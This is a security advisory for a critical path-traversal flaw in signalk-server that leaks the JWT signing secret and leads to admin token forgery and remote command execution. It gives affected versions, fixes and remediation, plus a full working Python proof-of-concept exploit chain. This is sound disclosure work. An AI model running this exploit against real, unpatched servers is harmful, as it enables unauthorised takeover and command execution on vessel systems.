---
id: GHSA-4xm8-rg9h-jhq2
title: >-
  Signal K resources API path traversal can disclose the JWT signing secret and
  enable remote code execution
summary: >-
  Signal K resources API path traversal can disclose the JWT signing secret and
  enable remote code execution
severity: critical
cvss: 9.8
cwe:
  - CWE-22
vendor: signalk-server
product: signalk-server
ecosystem: npm
affected:
  - 'signalk-server >= 2.0.0, < 2.34.0'
  - '@signalk/resources-provider >= 1.0.0, < 1.5.3'
patched:
  - signalk-server 2.34.0
  - '@signalk/resources-provider 1.5.3'
published: '2026-10-30'
updated: '2026-10-30'
sourceUpdated: '2026-10-30T22:57:23Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-4xm8-rg9h-jhq2'
references:
  - url: >-
      https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2
  - url: >-
      https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1
  - url: 'https://github.com/SignalK/signalk-server/releases/tag/v2.34.0'
  - url: 'https://github.com/advisories/GHSA-4xm8-rg9h-jhq2'
tags:
  - ghsa
  - npm
ingestedAt: '2026-10-30T23:11:25.785Z'
---

## Overview

### Summary

Path traversal in the Signal K resources and applicationData APIs lets an
unauthenticated or low-privileged user read, write and delete files outside
the storage root. Reading <config>/security.json discloses the JWT signing
secret, enabling admin token forgery and remote code execution. 

### Details

## Description

The v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`).

Because the JWT signing secret is stored in plaintext in `<config>/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can:

1. **Read `<config>/security.json`** — disclosing the JWT signing secret (512-hex) and user password hashes.
2. **Forge an admin JWT** — HS256-sign `{"id":"admin"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: "admin"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`).
3. **Gain remote code execution** — `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn('sh', ['-c', command])` at creation time. The provider persists to `settings.json` and survives restarts.

On default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token.

## Suggested fixes

1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE.
2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`.
3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in.

### Proof of concept

Fully local testbed. Start the server, enable `allow_readonly=true`, then run:

```python
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD  = "id > /tmp/sk-pwned"

# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]

# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"

# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
        "options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
                             headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists
```

Reproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.

### Impact

Unauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix

## Affected packages

- `signalk-server >= 2.0.0, < 2.34.0`
- `@signalk/resources-provider >= 1.0.0, < 1.5.3`

## Remediation

Upgrade to a patched release:

- `signalk-server 2.34.0`
- `@signalk/resources-provider 1.5.3`
